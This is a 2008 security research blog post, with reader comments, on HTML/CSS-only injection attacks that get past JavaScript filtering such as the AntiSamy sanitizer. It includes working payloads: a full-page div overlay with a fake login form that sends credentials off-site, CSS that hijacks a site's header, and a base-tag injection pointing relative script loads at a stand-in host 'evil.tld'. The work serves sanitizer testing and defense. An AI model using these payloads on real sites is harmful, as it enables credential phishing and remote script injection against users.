HTML/CSS Injections – Primitive Malicious Code (or, What’s the worst that could happen?)
One of the things I highlighted in my paper on AntiSamy was the fact that JavaScript is often the only thing we think of when we hear the term “malicious code” in terms of webappsec. Let’s suppose that’s false for a second. The question then becomes: If MySpace can strip out all your JavaScript, what can you do maliciously when only providing pure HTML/CSS (besides invoking JavaScript from intrinsic events, CSS image-lookups, hilarious 3rd-party stupidity, etc.)? Also, we’re ignoring all the obvious meta-iframe-redirect-to-malware type stuff.
Here are the 3 things I came up with. Two are original.
1. <div> overlay affecting phishing attacks
These are pretty old hat too. The idea here is you provide some CSS in the part of the page that you supply that creates a <div> that overlays some or all of the page, including the part you don’t own. To see this kind of attack in action, try sticking the following code onto my AntiSamy test page, and make sure you attack against the default/vulnerable antisamy.xml policy file:
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Welcome to MyGoat!!1! Please Login wit credentialz for major nigerian cash<br><form name="login" action="http://aspectsecurity.com"><table><tr><td>Username: </td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>
2. <div> hijacking
So, if you’re interested in this stuff, you’re probably a hacker. I can surmise then, that’s you’re lazy and have criminal inclinations. Am I projecting? Hope not. Assuming you are – well, why create an absolutely positioned <div> when you can just steal the existing one? Let’s say that MySpace has this code at the top of their page:
<div id="main_logo"> <img src="/main_logo.gif" mce_src="/main_logo.gif"> </div>
Then, the attacker’s profile comes along later and let’s say they supplied this:
<div id="main_logo"> <img src="http://evil.tld/hacked.gif" mce_src="http://evil.tld/hacked.gif"> </div>
Guess what comes up where the main logo appears? Well, don’t take my word for it. Go try it out on my test page. Provide the following attack code and watch the header image carefully:
<style>
div { }
div#header * {
display: none;
}
div#header {
background-image:url(http://www.aspectsecurity.com/images/footer_aybabtu.jpg);
background-repeat:no-repeat;
width: 800px;
height:60px;
}
</style>
Ugh, this turns out to be pretty problematic when you think it through. So, if we want to allow users to create their own <div> tags, we have to allow them to specify id values so they don’t have to write annoying inline CSS for everything. On the other hand – if we allow users to specify the id attribute, they could use it to hijack our legitimate <div> areas.
What a pickle. AntiSamy “solves” this problem by allowing the application to specify “protected” id values. So, you can setup a list of specific id values that are protected or you can specify a pattern, like “myspace_*”. So, if the user tries to specify an id that begins with “myspace_”, they’ll get an error. This means your developers have to be aware of the naming convention and be on board with its purpose.
Can it get worse?
3. <base> external resource hijacking
Yes, it can. Well, phishing doesn’t really get me out of bed in the morning. That’s what Anna Faris is for. We’re here for something more. What’s great about this attack vector is the fact that it allows me to revive a gaming joke from 2001. The <base> tag tells browsers that all relative tag resources encountered from that point forward can be found beneath the URL in the <base> tag’s href attribute. See where this is going? It plays out like this.
<!-- begin user supplied content (eBay) -->
omFG bai my boba fett dollz it totally sets u UP the bombz
<base href="http://evil.tld" mce_href="http://evil.tld">
<!-- end user supplied content (eBay)
<script src="/do_ebay_stuff.js" mce_src="/do_ebay_stuff.js"></script>
When the browser encounters the <script> tag, it’s going to try to find it at http://evil.tld/do_ebay_stuff.js. So, all you have to do is make sure there’s something malicious living at that URL and you’re disco.
Couple of things about this attack:
- It’s pure HTML. Awesome.
- Like a remote script/CSS include, the application has no idea what malicious code the victim was tricked into executing. Double awesome. The code is in the cloud, baby.
- It’s an original vector. RSnake has this similar-looking vector on his cheat sheet: <BASE href=”javascript:alert(’XSS’);//”>. This is a localized JavaScript call because browsers were too dumb to realize this URL doesn’t make any sense (and this doesn’t even work anymore).
- Browsers can’t patch it!
- IE7 has decided it won’t honor <base> tags it finds outside of the <head> element, so IE7 is probably not a concern for this vector because it’s unlikely that untrusted users will be injecting into a page’s <head> element. Making a dirty joke about this bullet is left as an exercise to the reader.
Legally, I’m not allowed to write this section without reminding you that someone set us up the bomb.
So, those are a few ideas for non-JavaScript malicious code. If you have anything to add, plz feel free to do so!
dre said,
Wrote on January 5, 2008 @ 6:48 am
How did these attacks come about? Were they discovered in the wild? I know that HTML/CSS element clobbering has been around for awhile, you’re just adding clever titles like “div hijacking”.
The book, `Ajax Security’, mentions the MySpace-Zango QuickTime worm under their section “Look and Feel Hacks” in the chapter on “Attacking the Presentation Layer”. This appears to be a div hijacking type of attack, right?
The authors go on to describe “Advanced Look and Feel Hacks” where they substitute a stock `buy’ button with a `sell’ button. It’s all style information that changes, so no direct HTML (including input tags) or Javascript functions are changed! Very cool!
I suppose that when testing for XSS, we should be testing for these attack vectors as well. My most interesting initial thought would be to include support in automated static analysis tools.
Great work you’ve done so far on Anti-Samy. Thanks for the post. Any chance you’re going to do be doing more of this sort of thing? Where are good places to go to learn what you’ve learned, so that somebody could start their own research on presentation attacks?
arshan dabirsiaghi said,
Wrote on January 5, 2008 @ 8:55 am
Thanks Dre!
Before OWASP SJ 2007 I sat down in a room with my co-worker Jason Li (who’s a stylesheets guru) and threw ideas at him after posing myself the question, “what could you do with a site that allowed you to only post pure HTML/CSS?”. These were the result.
After brainstorming I googled for a while around to see if anyone had done anything similar. I’d always thought of clobbering as a JS thing – but what I’m doing is the same thing. It’s a good point – I’ll call it clobbering in the future.
>I know that HTML/CSS element clobbering has been
>around for awhile, you’re just adding clever titles
>like “div hijacking”.
The stock button switch sounds like what I called a “hijack” – I guess the terminology/information about Web 2.0 attacks isn’t just as well distributed yet. I’m not as concerned with claiming originality as I am with getting the discussion going about the issue. Research is research, and sometimes you overlap. No big deal.
The MySpace/Zango worm sounds like it could have a been a div overlay (z-index + absolute), I can’t tell from 5 minutes of googling – is the exploit code still out there?
>I suppose that when testing for XSS, we should be
>testing for these attack vectors as well. My most
>interesting initial thought would be to include
>support in automated static analysis tools.
This is the kind of awareness I’m talking about. You can hook up a fuzzer to xssDB (gnucitizen) and RSnake’s cheatsheet and pass with flying colors while still if you’re not looking for these types of things.
Unfortunately I have no resources to point to – this is a pretty new area so all I did was get 2 browsers together, cracked open W3C and started hacking. It sounds like Hoffman’s book is worth the read, I am waiting for a copy of it to free up around the office. =)
dre said,
Wrote on January 6, 2008 @ 4:56 am
> Before OWASP SJ 2007 I sat down in a room with my
> co-worker Jason Li (who’s a stylesheets guru) and
> threw ideas at him after posing myself the question,
> “what could you do with a site that allowed you to
> only post pure HTML/CSS?”. These were the result.
Excellent work! What’s Jason’s take on my questions?
> After brainstorming I googled for a while around to
> see if anyone had done anything similar. I’d always
> thought of clobbering as a JS thing… “you’re just
> adding clever titles like `div hijacking’”.
I like your definitions! Just like you said, research is allowed to overlap.
> The MySpace/Zango worm sounds like it could have a
> been a div overlay (z-index + absolute), I can’t
> tell from 5 minutes of googling – is the exploit
> code still out there?
Here is Billy Hoffman’s original analysis – http://www.spidynamics.com/spilabs/education/articles/MySpace-QuickTime%20Worm.html – but pdp at GNUCITIZEN has cataloged this worm’s source code (along with others) at – http://www.gnucitizen.org/projects/wormx. pdp also follows up in a post about it here – http://www.gnucitizen.org/blog/myspace-quicktime-worm-follow-up
> Unfortunately I have no resources to point to – this
> is a pretty new area so all I did was get 2 browsers
> together, cracked open W3C and started hacking.
You’ll definitely want to read – http://blog.mozilla.com/rob-sayre/2007/08/06/interoperability-and-xss-mitigation/ – where Rob Sayre brings up HTML/CSS issues in addition to JS. He says, “Come to think of it, we might want to standardize similar policies for restricted HTML parsing”, where he points readers to this W3C mailing-list – http://lists.w3.org/Archives/Public/public-html-mail/ – surprisingly on HTML email security.
After looking at all the W3C mailing-lists, these may also be of use:
http://lists.w3.org/Archives/Public/public-wsc-wg/
http://lists.w3.org/Archives/Public/public-xmlsec-maintwg/
http://lists.w3.org/Archives/Public/public-xmlsec-discuss/
What particular W3C resources do you find helpful?
arshan dabirsiaghi said,
Wrote on January 6, 2008 @ 10:51 am
W3C has lots of great resources, I was mainly referring to the specs:
http://www.w3.org/TR/html401/
http://www.w3.org/TR/xhtml1/
http://www.w3.org/Style/CSS/#specs
But the story doesn’t end with the specifications because of the browser wars’ resulting divergence.
I read Rob Sayre’s post and responded – I’m definitely liking the markup “jail” idea. The “sandbox header” just doesn’t strike me as realistic because of the complexity and variations on rules there would need to be on each page, plus the fact that it would have to be defined securely by the developer on each action. That type of pattern doesn’t usually work.
dre said,
Wrote on January 6, 2008 @ 1:35 pm
So where does one typically go for W3C-to-browser and reverse mappings?
I didn’t see your reply on Rob Sayre’s post (probably because he didn’t approve it yet). I haven’t seen a lot of talk about this lately. RSnake was supposed to start a Browser Security group for OWASP, but I haven’t heard anything yet — I might be the one to start it up and get it going (right after I finish some other things I’m working on). Certainly all of this will be included.
What’s more is you’ll want to read:
1)
http://www.squarefree.com/2007/08/05/script-restrictions-for-mitigating-xss-vulnerabilities/
where Justin Schuh even throws in the first comment and Robert Sayre questions content-restrictions (”sandbox header”). You do realize that content-restrictions is almost an evolution of HttpOnly, right?
2)
http://taossa.com/index.php/2007/02/17/same-origin-proposal/
My all time favorite posts of last year come from here. I’m the “ntp” who is discussing Justin Schuh’s “Server-provided Policies” approach. If only we could combine all three of these concepts — my favorite part about Justin’s approach is that it provides a browser protection against CSRF. However, neither his method, nor mine, protect against OSRF, which is yet another problem to be solved!
3)
http://www.owasp.org/images/e/ec/OWASP-WASCAppSec2007SanJose_WebBrowserInsecurity.ppt
This is Robert Hansen (RSnake)’s talk from the OWASP/WASC conference from two months ago. You were there, but did you see it? I wasn’t able to make it, but I can infer some of what he meant. Care to elaborate?
arshan dabirsiaghi said,
Wrote on January 6, 2008 @ 10:08 pm
I typed about a whole page of comment here before I realized I should probably make this a post, though I have lots to talk about otherwise recently (my xmas party wrap-up, the fact that I’m being frivolously sued, etc.).
arshan dabirsiaghi said,
Wrote on January 6, 2008 @ 10:44 pm
As far as the browser/W3C divergence details, that’s a good question. If you can find a complete and thorough resource, I’d love to get my hands on it. I mostly find just bits here and there, and occasionally a large chunk, but nothing comprehensive. I mostly just googled permutations of “browsers”, “divergence”, “IE stupidity”, “CSS differences”, etc. and used folk knowledge.
I did see Robert’s talk and it was good. There was a lot of smart conversation afterwards as well – good sign. However, the “future” part of the talk did not was not very clear. He hinted that he had a more-than-traditionally open relationship with the Microsoft/Mozilla people and that that could lead to quicker deployment of/more efficient security controls in the future, but I don’t remember anyone talking *at length* about sandboxing except Dinis Cruz, who, as far as I can tell, wants to marry a sandbox one day.
I also really like that post on taossa. I like it in the sense that it’s not complex and that it covers many of the bases. Also the phased integration plan is a requirement – these things move very slowly. I’ll talk more about this in a bit.
Keep me posted on the OWASP Browser Group. I heard the same thing – but if you get it started I’m definitely on board to contribute. That is, assuming you think I have anything worth contributing. =)
J said,
Wrote on January 7, 2008 @ 4:05 pm
Arshan, exploit #3 is high in saturated awesomeness!
I suppose you could defend by providing absolute paths to all your JavaScript.
Any site that is not filtering for base and uses relative paths for loading javascript files is vulnerable, right?
arshan dabirsiaghi said,
Wrote on January 7, 2008 @ 5:08 pm
Yup, provided those references come -after- the base tag.
Jason Li said,
Wrote on January 8, 2008 @ 12:17 am
Dre,
In response to your questions, these ideas essentially came out between flushing out AntiSamy and brainstorming. Part of the work for AntiSamy was going through the W3C specification for CSS and enumerating every property and value. It’s tedious but somewhat mindless work and as you do it, your mind kind of wanders while looking at the properties and thinks “what if…”
I don’t have a copy of the book you mention so I can’t say whether it’s the same idea, but it’s certainly possible that all of these ideas have been thought of before.
As you said, it’s all very cool stuff and it’s all sans javascript. As Arshan said, I think the best place to start is the specifications. You really get a feeling for what really can be done going through that. Then from there, you have to start worry about what really is done.
Hopefully we’re going to continue updating AntiSamy – there’s a whole list of feature requests and improvements made during the OWASP conference that are just waiting to be implemented!
dre said,
Wrote on January 8, 2008 @ 8:52 pm
@ Arshan :
“As far as the browser/W3C divergence details, that’s a good question. If you can find a complete and thorough resource, I’d love to get my hands on it”.
http://en.wikipedia.org/wiki/Acid2 ?
Big John and Holly Bergevin seem to be authorities on this topic, however I haven’t done much research on them lately. Check out:
http://www.positioniseverything.net
http://www.positioniseverything.net/gecko.html
http://www.positioniseverything.net/explorer.html
http://www.communitymx.com/content/article.cfm?page=1&cid=C37E0
I heard about the Holly Hack (last link) about two years ago and found it very fascinating.
Franchu’s lair » Seguridad web, esa gran asignatura pendiente said,
Wrote on January 13, 2008 @ 4:03 am
[...] HTML/CSS Injections – Primitive Malicious Code (or, What’s the worst that could happen?) [...]
Baby steps with web application security scanners | CorrectServer.com - Servers and Server Software said,
Wrote on January 22, 2008 @ 4:23 am
[...] do not look into the formatting/presentation layer — nor do they utilize attack-vectors such as HTML/CSS injection of HTML/CSS (as opposed to HTML injection of Javascript, which more widely a concept of [...]
The Living’s Easy: Blackhat, OWASP ISWG and AntiSamy .NET « omg.wtf.bbq. said,
Wrote on August 29, 2008 @ 12:43 am
[...] (and, unfortunately for me, all of the grant money). If you find something (not just an XSS, but a presentation layer attack or even a usability issue), per usual with AntiSamy, you’ll get some props on the test page [...]
Malicious Code Injection - Sans JavaScript! | MentalRise said,
Wrote on October 20, 2008 @ 12:07 pm
[...] I’m looking forward to incorporating their findings into my Malware scanning methods..! HTML/CSS Injections – Primitive Malicious Code (or, What’s the worst that could happen?) [...]
猪在笑 » Blog Archive » What’s new in web hacking techniques of 2008 said,
Wrote on February 2, 2009 @ 11:18 pm
[...] HTML/CSS Injections – Primitive Malicious Code [...]
Le migliori tecniche di Web Hacking del 2008 | lonerunners.net said,
Wrote on March 15, 2009 @ 12:19 pm
[...] HTML/CSS Injections – Primitive Malicious Code [...]
ORGARPFLARD said,
Wrote on March 20, 2009 @ 8:44 am
very intresting
Linda Paquette said,
Wrote on March 27, 2009 @ 5:55 pm
I also wrote a article about this bad worm. You can read it here:
http://www.webupon.com/Security/April-Fools-Day-Worm.617545
I guess we will all have to wait and see what happens next week.
The Sleeping Sheep Hackers » Blog Archive » Links: Stuff to look at said,
Wrote on October 24, 2009 @ 4:31 am
[...] http://i8jesus.com/?p=10 [...]
A Java HTML sanitizer – also against XSS « Eltit Golb said,
Wrote on November 5, 2009 @ 6:07 am
[...] If you hope that these flaws do not impact on security you are on the wrong path. A well planned css attack can, for instance, layer your application for click stealing or simply “switch” two [...]